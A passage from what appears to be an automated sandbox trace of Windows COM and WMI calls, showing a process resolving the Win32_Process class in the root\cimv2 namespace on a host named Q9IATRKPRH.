puBuffLength=0x1bb7e548*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0154.709] WbemDefPath:IWbemPath:GetText (in: This=0x1bc93af0, lFlags=2, puBuffLength=0x1bb7e558*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e558*=0xe, pszText=0x0) returned 0x0 [0154.709] WbemDefPath:IWbemPath:GetText (in: This=0x1bc93af0, lFlags=2, puBuffLength=0x1bb7e558*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e558*=0xe, pszText="Win32_Process") returned 0x0 [0154.710] IWbemServices:GetObject (in: This=0x1bbab9b0, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1bb7e3a0*=0x0, ppCallResult=0x0 | out: ppObject=0x1bb7e3a0*=0x1bcf5330, ppCallResult=0x0) returned 0x0 [0154.714] IWbemClassObject:Get (in: This=0x1bcf5330, wszName="__PATH", lFlags=0, pVal=0x1bb7e470*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e5d8*=0, plFlavor=0x1bb7e5d0*=0 | out: pVal=0x1bb7e470*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process", varVal2=0x0), pType=0x1bb7e5d8*=8, plFlavor=0x1bb7e5d0*=64) returned 0x0 [0154.714] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0154.714] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0154.714] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e4a8 | out: ppv=0x1bb7e4a8*=0x1a943398) returned 0x0 [0154.715] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e498 | out: pAptType=0x1bb7e498*=1) returned 0x0 [0154.715] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e4a0 | out: ppvObject=0x1bb7e4a0*=0x0) returned 0x80004002 [0154.715] IUnknown:Release (This=0x1a943398) returned 0x1 [0154.717] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8c0 | out: ppv=0x1bb7d8c0*=0x1bc0f3a0) returned 0x0 [0154.717] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc0f3a0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d908 | out: ppvObject=0x1bb7d908*=0x0) returned 0x80004002 [0154.717] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc0f3a0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8b8 | out: ppvObject=0x1bb7d8b8*=0x1aa0be50) returned 0x0 [0154.717] WbemDefPath:IUnknown:Release (This=0x1bc0f3a0) returned 0x0 [0154.717] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0be50, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6c8 | out: ppvObject=0x1bb7d6c8*=0x1aa0be50) returned 0x0 [0154.718] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0be50, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d770 | out: ppvObject=0x1bb7d770*=0x0) returned 0x80004002 [0154.718] WbemDefPath:IUnknown:AddRef (This=0x1aa0be50) returned 0x3 [0154.718] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0be50, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce18 | out: ppvObject=0x1bb7ce18*=0x0) returned 0x80004002 [0154.718] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0be50, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cda0 | out: ppvObject=0x1bb7cda0*=0x0) returned 0x80004002 [0154.718] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0be50, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x1bc0f160) returned 0x0 [0154.718] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc0f160, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cdb8 | out: pCid=0x1bb7cdb8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0154.718] WbemDefPath:IUnknown:Release (This=0x1bc0f160) returned 0x3 [0154.719] CoGetContextToken (in: pToken=0x1bb7ce40 | out: pToken=0x1bb7ce40) returned 0x0 [0154.719] CoGetContextToken (in: pToken=0x1bb7d2c0 | out: pToken=0x1bb7d2c0) returned 0x0 [0154.719] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0be50, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d380 | out: ppvObject=0x1bb7d380*=0x0) returned 0x80004002 [0154.719] WbemDefPath:IUnknown:Release (This=0x1aa0be50) returned 0x2 [0154.719] WbemDefPath:IUnknown:Release (This=0x1aa0be50) returned 0x1 [0154.719] CoGetContextToken (in: pToken=0x1bb7e0e0 | out: pToken=0x1bb7e0e0) returned 0x0 [0154.719] CoGetContextToken (in: pToken=0x1bb7dfe0 | out: pToken=0x1bb7dfe0) returned 0x0 [0154.719] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0be50, riid=0x1bb7e140*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e110 | out: ppvObject=0x1bb7e110*=0x1aa0be50) returned 0x0 [0154.719] WbemDefPath:IUnknown:AddRef (This=0x1aa0be50) returned 0x3 [0154.719] WbemDefPath:IUnknown:Release (This=0x1aa0be50) returned 0x2 [0154.719] WbemDefPath:IWbemPath:SetText (This=0x1aa0be50, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0154.719] IWbemClassObject:Get (in: This=0x1bcf5330, wszName="__SERVER", lFlags=0, pVal=0x1bb7e530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e690*=0, plFlavor=0x1bb7e688*=0 | out: pVal=0x1bb7e530*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64) returned 0x0 [0154.719] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0154.720] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0154.720] IWbemClassObject:Get (in: This=0x1bcf5330, wszName="__NAMESPACE", lFlags=0, pVal=0x1bb7e530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64 | out: pVal=0x1bb7e530*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ROOT\\CIMV2", varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64) returned 0x0 [0154.720] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0154.720] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0154.720] IWbemClassObject:Get (in: This=0x1bcf5330, wszName="__CLASS", lFlags=0, pVal=0x1bb7e530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64 | out: pVal=0x1bb7e530*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_Process", varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64) returned 0x0 [0154.720] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0154.721] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0154.721] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0154.721] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0154.721] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0154.721] IUnknown:Release (This=0x1a943398) returned 0x1 [0154.723] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1bc0ee20) returned 0x0 [0154.724] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc0ee20, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0154.724] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc0ee20, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1aa0bd90) returned 0x0 [0154.724] WbemDefPath:IUnknown:Release (This=0x1bc0ee20) returned 0x0 [0154.724] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0bd90, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1aa0bd90) returned 0x0 [0154.724] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0bd90, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0154.725] WbemDefPath:IUnknown:AddRef (This=0x1aa0bd90) returned 0x3 [0154.725] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0bd90, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0154.725] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0bd90, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0154.725] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0bd90, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1bc0efe0) returned 0x0 [0154.725] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc0efe0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0154.725] WbemDefPath:IUnknown:Release (This=0x1bc0efe0) returned 0x3 [0154.725] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0154.725] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0154.726] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0bd90, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0154.726] WbemDefPath:IUnknown:Release (This=0x1aa0bd90) returned 0x2 [0154.726] WbemDefPath:IUnknown:Release (This=0x1aa0bd90) returned 0x1 [0154.726] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0154.726] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0154.726] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0bd90, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1aa0bd90) returned 0x0 [0154.726] WbemDefPath:IUnknown:AddRef (This=0x1aa0bd90) returned 0x3 [0154.726] WbemDefPath:IUnknown:Release (This=0x1aa0bd90) returned 0x2 [0154.726] WbemDefPath:IWbemPath:SetText (This=0x1aa0bd90, uMode=0x4, pszPath="") returned 0x0 [0154.726] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0154.726] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0154.726] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0154.726] IUnknown:Release (This=0x1a943398) returned 0x1 [0154.728] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1bc0ee20) returned 0x0 [0154.732] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc0ee20, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0154.732] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc0ee20, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1aa0bc10) returned 0x0 [0154.732] WbemDefPath:IUnknown:Release (This=0x1bc0ee20) returned 0x0 [0154.732] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0bc10, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1aa0bc10) returned 0x0 [0154.732] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0bc10, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0154.733] WbemDefPath:IUnknown:AddRef (This=0x1aa0bc10) returned 0x3 [0154.733] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0bc10, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0154.733] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0bc10, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0154.733] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0bc10, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1bc0ef60) returned 0x0 [0154.733] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc0ef60, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0154.733] WbemDefPath:IUnknown:Release (This=0x1bc0ef60) returned 0x3 [0154.733] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0154.733] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0154.733] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0bc10, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0154.733] WbemDefPath:IUnknown:Release (This=0x1aa0bc10) returned 0x2 [0154.733] WbemDefPath:IUnknown:Release (This=0x1aa0bc10) returned 0x1 [0154.733] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0154.733] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0154.733] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0bc10, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1aa0bc10) returned 0x0 [0154.733] WbemDefPath:IUnknown:AddRef (This=0x1aa0bc10) returned 0x3 [0154.734] WbemDefPath:IUnknown:Release (This=0x1aa0bc10) returned 0x2 [0154.734] WbemDefPath:IWbemPath:SetText (This=0x1aa0bc10, uMode=0x4, pszPath="") returned 0x0 [0154.734] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0bc10, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0154.734] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0bd90, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0154.734] WbemDefPath:IWbemPath:GetClassName (in: This=0x1aa0bc10, puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0 | out: puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0) returned 0x8004103a [0154.734] WbemDefPath:IWbemPath:GetServer (in: This=0x1aa0bc10, puNameBufLength=0x1bb7e5d8*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e5d8*=0x0, pName=0x0) returned 0x80041009 [0154.734] WbemDefPath:IWbemPath:SetServer (This=0x1aa0bc10, Name="Q9IATRKPRH") returned 0x0 [0154.734] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0154.734] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0154.734] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0154.734] IUnknown:Release (This=0x1a943398) returned 0x1 [0154.736] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1bc0ef80) returned 0x0 [0154.736] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc0ef80, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0154.737] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc0ef80, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1aa0bb50) returned 0x0 [0154.737] WbemDefPath:IUnknown:Release (This=0x1bc0ef80) returned 0x0 [0154.737] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0bb50, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1aa0bb50) returned 0x0 [0154.737] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0bb50, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0154.737] WbemDefPath:IUnknown:AddRef (This=0x1aa0bb50) returned 0x3 [0154.737] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0bb50, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0154.737] WbemDefPath:IUnknown:QueryInterface (in: 